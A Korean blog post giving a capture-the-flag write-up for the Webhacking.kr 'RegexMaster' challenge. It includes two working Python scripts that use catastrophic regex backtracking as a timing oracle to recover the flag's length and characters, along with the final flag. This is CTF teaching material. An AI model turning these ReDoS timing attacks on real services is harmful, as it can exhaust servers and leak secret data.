[Webhacking.kr] RegexMaster

Alexandria·2024년 2월 29일

Wargame Webhacking.kr

목록 보기
63/69
post-thumbnail

1. Description

2. Write-Up

preg_match밖에 없어서 난감하지만, catastrophic backtracking을 이용하여 시간이 오래걸리는 문자는 패턴이 매칭되어서 FLAG로 처리하면 될 듯하다.

먼저 FLAG의 길이를 구하자.

import requests
import time
import string

CHALLENGE   = 'http://regexmaster.webhacking.kr/'
SESSID      = '3rphaqro19ronfcjse1h047isp'
headers     = {'Cookie':'PHPSESSID='+SESSID}

for i in range(1, 50):
    pattern = '(((((((((((((((((((.*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*).{'+str(i)+'}$'
    url         = CHALLENGE + '?pattern=' + pattern
    s_time      = time.time()
    req         = requests.get(url=url, headers=headers)
    delay       = time.time() - s_time
    if delay < 1:
        print('flag length = {}'.format(i - 1))
        break

[Output]
flag length = 30

FLAG를 구하자.

import requests
import time
import string

CHALLENGE   = 'http://regexmaster.webhacking.kr/'
SESSID      = '3rphaqro19ronfcjse1h047isp'
headers     = {'Cookie':'PHPSESSID='+SESSID}

flag_total_len   = 30
flag = 'FLAG{'
while len(flag) < 29:
    old_len = len(flag)
    for c in "_" + string.ascii_letters + string.digits:
        pattern     = flag + c + '.*(((((((((((((((((((.*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*).{'+str(flag_total_len - len(flag) - 1)+'}$'
        url         = CHALLENGE + '?pattern=' + pattern
        s_time      = time.time()
        req         = requests.get(url=url, headers=headers)
        delay       = time.time() - s_time
        if delay > 0.3:
            flag += c
            print('find = {}'.format(flag))
    if old_len == len(flag) :
        flag += '.'
        print('unknown : {}'.format(flag))
print('flag = {}'.format(flag+'}'))

[Output]
... 생략 ...
flag = FLAG{im_r.e.g.e.x_master.._..}

결과 값을 인증하여도 Invalid라고 나온다. "."이 나오는 곳은 특수문자일 듯 하다.

^, ? 등 시도해보았지만, 결과적으로는 "."을 "/"로 치환하면 점수를 획득할 수 있다.

3. FLAG

FLAG{im_r/e/g/e/x_master//_//}

profile
IT 도서관

0개의 댓글